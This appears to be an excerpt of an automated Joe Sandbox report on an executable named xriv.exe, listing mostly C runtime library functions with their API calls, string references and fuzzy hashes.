Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: bdd9fd90526dcd2774101ffa0212ebd275fb3eaf83c35b24477ffca5bdb3a0c3
Instruction ID: 35e900f5338673b5906e6a4432c77b05345dd97bdc6f1d3c03c2789a1568d87d
Opcode Fuzzy Hash: bdd9fd90526dcd2774101ffa0212ebd275fb3eaf83c35b24477ffca5bdb3a0c3
Instruction Fuzzy Hash: 04210A72A41221AFFB724B6DDCC4ADE3BD89F55760F150264EDC6A7285D635EC00CAE0

Uniqueness

Uniqueness Score: -1.00%

Function 010C143D Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 010C1405: _free.LIBCMT ref: 010C142A

_free.LIBCMT ref: 010C148B

Part of subcall function 010BD653: HeapFree.KERNEL32(00000000,00000000,?,010C142F,?,00000000,?,?,?,010C1456,?,00000007,?,?,010C1858,?), ref: 010BD669
Part of subcall function 010BD653: GetLastError.KERNEL32(?,?,010C142F,?,00000000,?,?,?,010C1456,?,00000007,?,?,010C1858,?,?), ref: 010BD67B

_free.LIBCMT ref: 010C1496
_free.LIBCMT ref: 010C14A1
_free.LIBCMT ref: 010C14F5
_free.LIBCMT ref: 010C1500
_free.LIBCMT ref: 010C150B
_free.LIBCMT ref: 010C1516

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 745ba4c7df38b0c8b3501d58b22aa89868de86b005191e755d783c3d27d16807
Instruction ID: 4788b3be094ec79bc477dd30b12eaa9a8350789651f3b065728bb47549e6b76c
Opcode Fuzzy Hash: 745ba4c7df38b0c8b3501d58b22aa89868de86b005191e755d783c3d27d16807
Instruction Fuzzy Hash: 70116D72540B09EAD620BFB1DC45FCFF79C9F28B05F414819A3DDAA051DB38A545CB94

Uniqueness

Uniqueness Score: -1.00%

Function 010C2AF8 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,010A5140,00000000), ref: 010C2B40
__fassign.LIBCMT ref: 010C2D1F
__fassign.LIBCMT ref: 010C2D3C
WriteFile.KERNEL32(?,010A5140,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 010C2D84
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 010C2DC4
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 010C2E70

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 4499b86ab54170c0605e4fdd5e3ad3ac225ba7ac24fc7134cfb2e23e87697467
Instruction ID: 7c5c8287511ad623cca32b65765012a8624c1e29e271ccb84b199d01305de2bf
Opcode Fuzzy Hash: 4499b86ab54170c0605e4fdd5e3ad3ac225ba7ac24fc7134cfb2e23e87697467
Instruction Fuzzy Hash: D0D19875D002599FCB15CFE8C8809EDBBB5BF48714F28416EE896BB242D631AA46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 010B8890 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,010B8887,010B8476,010B7AC4), ref: 010B889E
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 010B88AC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 010B88C5
SetLastError.KERNEL32(00000000,010B8887,010B8476,010B7AC4), ref: 010B8917

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: b8ba0243068bb55081cfa7c7116c792279ef37265edb78b4c0c23bd21a342a3c
Instruction ID: 30a940e45467e15289f081dee7ba4fd615bd79b0b82235dfe74f614bd75a884c
Opcode Fuzzy Hash: b8ba0243068bb55081cfa7c7116c792279ef37265edb78b4c0c23bd21a342a3c
Instruction Fuzzy Hash: 7101D83251A3125FAAB52678BCC49DB2EDCEF016F5720C23BFAE0504E5EF1648004791

Uniqueness

Uniqueness Score: -1.00%

Function 010C002E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe, xrefs: 010C0033

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe
API String ID: 0-2143882575
Opcode ID: 4e1aa808e59393ee98feea1d3e8e4300c8fc38669aa5720366ee727540244940
Instruction ID: 20e3ad2ff49d8466dbe55d9a96216671be0271d82e4568940bba19e274cdc57f
Opcode Fuzzy Hash: 4e1aa808e59393ee98feea1d3e8e4300c8fc38669aa5720366ee727540244940
Instruction Fuzzy Hash: 6E21C279640207EFDB31AFA9CC809EF77ADEF00A64B214518F99596245EB31EC40CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 010BB476 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 010BB4B8

Strings

.exe, xrefs: 010BB4C5
.cmd, xrefs: 010BB4D6
.bat, xrefs: 010BB4E7
.com, xrefs: 010BB4F8

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: e29a475ce78faba5f29be30575b7b8ddc8432e166c34de92fcee9b9d9338731e
Instruction ID: c90bd05db43f13e8eea863f2d5dc91e7c845e1b6dc34b3e38d7bc6303c5240a0
Opcode Fuzzy Hash: e29a475ce78faba5f29be30575b7b8ddc8432e166c34de92fcee9b9d9338731e
Instruction Fuzzy Hash: B801C43B604627266754211D9C817EB3BEC9BD2FB0726002EF9C8EB281EE84E8034592

Uniqueness

Uniqueness Score: -1.00%

Function 010B9937 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 010B9987

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 98a71ce94f1b311dd4c1b1cbc94668646cca82a901c6a31a0d1f50836de6b0dc
Instruction ID: 1008ba53aeb06dd3fe2dbc05f674236a0a28f3c2fa04de256ba11bd1d9849916
Opcode Fuzzy Hash: 98a71ce94f1b311dd4c1b1cbc94668646cca82a901c6a31a0d1f50836de6b0dc
Instruction Fuzzy Hash: B8119AB2901223AFDBB24B2DDCC4ADE3BA4DF01678B110550EFD5A7285D635E90086D1

Uniqueness

Uniqueness Score: -1.00%

Function 010BA9E3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,010BA9D8,010BE000,?,010BA9A0,010BAF26,?,010BE000), ref: 010BA9F8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 010BAA0B
FreeLibrary.KERNEL32(00000000,?,?,010BA9D8,010BE000,?,010BA9A0,010BAF26,?,010BE000), ref: 010BAA2E

Strings

mscoree.dll, xrefs: 010BA9F1
CorExitProcess, xrefs: 010BAA03

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c62f55fe58f9910159445efacab8ca49a08d8877f43b52dc66e0f51e33713704
Instruction ID: 1bcd42fdc15c31530997a960ebe8eea6d5c9612fda68010b446d57f576f595cb
Opcode Fuzzy Hash: c62f55fe58f9910159445efacab8ca49a08d8877f43b52dc66e0f51e33713704
Instruction Fuzzy Hash: 89F08230600219FFDB219B55DA09BDD7EA9EB44B55F100094BA40A2090CB798A10DF91

Uniqueness

Uniqueness Score: -1.00%

Function 010BB1AE Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,010BB0E0), ref: 010BB1D0
GetFileInformationByHandle.KERNEL32(?,?), ref: 010BB22A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,010BB0E0,?,000000FF,00000000,00000000), ref: 010BB2B8
__dosmaperr.LIBCMT ref: 010BB2BF
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 010BB2FC

Part of subcall function 010BB524: __dosmaperr.LIBCMT ref: 010BB559

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 66e47f3e0cdde40f876d8f27918805a0839fcd00e94a5b7ce55f87b12c58da67
Instruction ID: 48204809618d2ec27052127abef1deb444b664dd536fdb17ea18dfa0c11ea78c
Opcode Fuzzy Hash: 66e47f3e0cdde40f876d8f27918805a0839fcd00e94a5b7ce55f87b12c58da67
Instruction Fuzzy Hash: 91415D75900645AFDB24DFB9D8849EFBBF9FF88700B04852EE996D3610EB359900CB21

Uniqueness

Uniqueness Score: -1.00%

Function 010C139C Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 010C13B4

Part of subcall function 010BD653: HeapFree.KERNEL32(00000000,00000000,?,010C142F,?,00000000,?,?,?,010C1456,?,00000007,?,?,010C1858,?), ref: 010BD669
Part of subcall function 010BD653: GetLastError.KERNEL32(?,?,010C142F,?,00000000,?,?,?,010C1456,?,00000007,?,?,010C1858,?,?), ref: 010BD67B

_free.LIBCMT ref: 010C13C6
_free.LIBCMT ref: 010C13D8
_free.LIBCMT ref: 010C13EA
_free.LIBCMT ref: 010C13FC

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 41a5ee0dd7a7bc12f111013116e95007571a18a28ac3312e7de76542ad5edd48
Instruction ID: 9d9e3222ba2e663031b9e95e6ba3a2b73634dcfc779159cfed645199917e7bff
Opcode Fuzzy Hash: 41a5ee0dd7a7bc12f111013116e95007571a18a28ac3312e7de76542ad5edd48
Instruction Fuzzy Hash: 75F04F32505605A7D660EB9DF0C1C8AB7D9BA18B2C354C84AE6DCD7941CA35F8C08B98

Uniqueness

Uniqueness Score: -1.00%

Function 010BFA69 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 010BFC03

Strings

*?, xrefs: 010BFAAC

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 7496f51c3f35c99317c8ac37739540d6bea978ec628f8cc924bc48588b70b313
Instruction ID: f669c489c7c9eeeac80638a082893e54ecd3b9f03868e2202048128c139bb0b1
Opcode Fuzzy Hash: 7496f51c3f35c99317c8ac37739540d6bea978ec628f8cc924bc48588b70b313
Instruction Fuzzy Hash: A1613CB6D0021A9FDB15DFA9C8C09EEFBF5EF58310B2481AAD855E7300D671AE418B90

Uniqueness

Uniqueness Score: -1.00%

Function 010B8F7D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 010B8FA2
CatchIt.LIBVCRUNTIME ref: 010B9088

Strings

MOC, xrefs: 010B8FB4
RCC, xrefs: 010B8FBC

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 30b14ed3ba177926c50e986a23b6b01a6295d781859c2ec1d1ffdf170a0f255a
Instruction ID: 5ff2269fc43e8377915675d5bc0d11536606ee2271dd7eec34dff108e29399ad
Opcode Fuzzy Hash: 30b14ed3ba177926c50e986a23b6b01a6295d781859c2ec1d1ffdf170a0f255a
Instruction Fuzzy Hash: 0141287190020AEFDF16DF98C980AEEBBB6FF48304F188099FA44A6261D3359950DB50

Uniqueness

Uniqueness Score: -1.00%

Function 010B8970 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 010B8A37
___AdjustPointer.LIBCMT ref: 010B8A5A
___AdjustPointer.LIBCMT ref: 010B8AF6

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: a470ef910e1370d50a475a0921ffd63ad0eb46ebef61fc20079315d5bce9c4ee
Instruction ID: eec4792fcf84908053908738c7b7e4d48e546dd306f3bc48da13aedc7bbb4d20
Opcode Fuzzy Hash: a470ef910e1370d50a475a0921ffd63ad0eb46ebef61fc20079315d5bce9c4ee
Instruction Fuzzy Hash: 6251B4716012069FFB298F58D8C0BFABBE8EF04611F18856EDA81566B1E731A980C790

Uniqueness

Uniqueness Score: -1.00%

Function 010A4D10 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,C73353B8,00000000), ref: 010A4D89
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 010A4DF0
GetProcAddress.KERNEL32(00000000), ref: 010A4DF7

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: 7556fc6967240e6ebb39814b5086f1645ed0faf0810dcc8d4eb49c8e43043e44
Instruction ID: 39394889c24fd08807dbd8b83e4445201b7434b562d996258f678e704c0471fa
Opcode Fuzzy Hash: 7556fc6967240e6ebb39814b5086f1645ed0faf0810dcc8d4eb49c8e43043e44
Instruction Fuzzy Hash: B7513874D042189BEB24EFA8CD887DDBF74EB45310F9442A9E584E72C1EB755EC08B91

Uniqueness

Uniqueness Score: -1.00%

Function 010C4FCE Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 010C509E
_free.LIBCMT ref: 010C50C7
SetEndOfFile.KERNEL32(00000000,010C25FD,00000000,010BD4F0,?,?,?,?,?,?,?,010C25FD,010BD4F0,00000000), ref: 010C50F9
GetLastError.KERNEL32(?,?,?,?,?,?,?,010C25FD,010BD4F0,00000000,?,?,?,?,00000000), ref: 010C5115

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 8f474f09d7f1fe46b4ba81f8baff00c3499c65b34d7d97818b2aeeb75463a522
Instruction ID: 7bf83504c62c9fcb9c4852695fc626885d3e4241fd17aa086b99cc9d42edd0bd
Opcode Fuzzy Hash: 8f474f09d7f1fe46b4ba81f8baff00c3499c65b34d7d97818b2aeeb75463a522
Instruction Fuzzy Hash: B541F87AA006069BDB11ABACCC85ADE3BB5AF54B20F380158F994E7191EA30E4404FA1

Uniqueness

Uniqueness Score: -1.00%

Function 010BF99A Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 010BAE0F: _free.LIBCMT ref: 010BAE1D

Part of subcall function 010C0971: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,010C4B40,?,00000000,00000000), ref: 010C0A13

GetLastError.KERNEL32 ref: 010BFA02
__dosmaperr.LIBCMT ref: 010BFA09
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 010BFA48
__dosmaperr.LIBCMT ref: 010BFA4F

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 4b1eb84ac5eec1ac993bbda22f87b329a7530f2b8a70ffbe31486624d2353ae8
Instruction ID: 0428179a50e6c349489faee242d610cb34972cbecef34b5ca0d3a091a8341f0d
Opcode Fuzzy Hash: 4b1eb84ac5eec1ac993bbda22f87b329a7530f2b8a70ffbe31486624d2353ae8
Instruction Fuzzy Hash: 0F21C5B2600207BF9B25AF698CC09EBB7EDFF052647144559F999D7241EB31ED40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010BDF44 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,010BAD8D,00000000,?,?,?,010BAF26,?), ref: 010BDF49
_free.LIBCMT ref: 010BDFA6
_free.LIBCMT ref: 010BDFDC
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,010BAF26,?), ref: 010BDFE7

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: fb8bf12d0b35ff2ede058c00b7c3d2f0ffbeabe7e5a97c18960be4686b6e4425
Instruction ID: ea346ec9cf1157c15a936cc33c3ba66eb3456e8263e0ecce1e4f78fc854256f2
Opcode Fuzzy Hash: fb8bf12d0b35ff2ede058c00b7c3d2f0ffbeabe7e5a97c18960be4686b6e4425
Instruction Fuzzy Hash: 9311C63620D5032AD66137F9ECC4DEB69AADBD167C7244225F6D883280DF258C458310

Uniqueness

Uniqueness Score: -1.00%

Function 010BE09B Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,010BB7F5,010BDB7F,?,?,010B8272,?,?,?,?,?,010A20C3,?,?), ref: 010BE0A0
_free.LIBCMT ref: 010BE0FD
_free.LIBCMT ref: 010BE133
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,010B8272,?,?,?,?,?,010A20C3,?,?), ref: 010BE13E

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 5f5a2bffee5253bb3be24b4f608f7fe5b6a13eab2925daf3701d37b4e4dfcf24
Instruction ID: fea448770b889213e91753c31e422f774fb8f1596a4b72e83f6bff269d9b0244
Opcode Fuzzy Hash: 5f5a2bffee5253bb3be24b4f608f7fe5b6a13eab2925daf3701d37b4e4dfcf24
Instruction Fuzzy Hash: 8111C8762096022AD67127B9ECC4DEB25AEDBD1678B354325F6E8833C0DF7A8C854350

Uniqueness

Uniqueness Score: -1.00%

Function 010BE87D Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

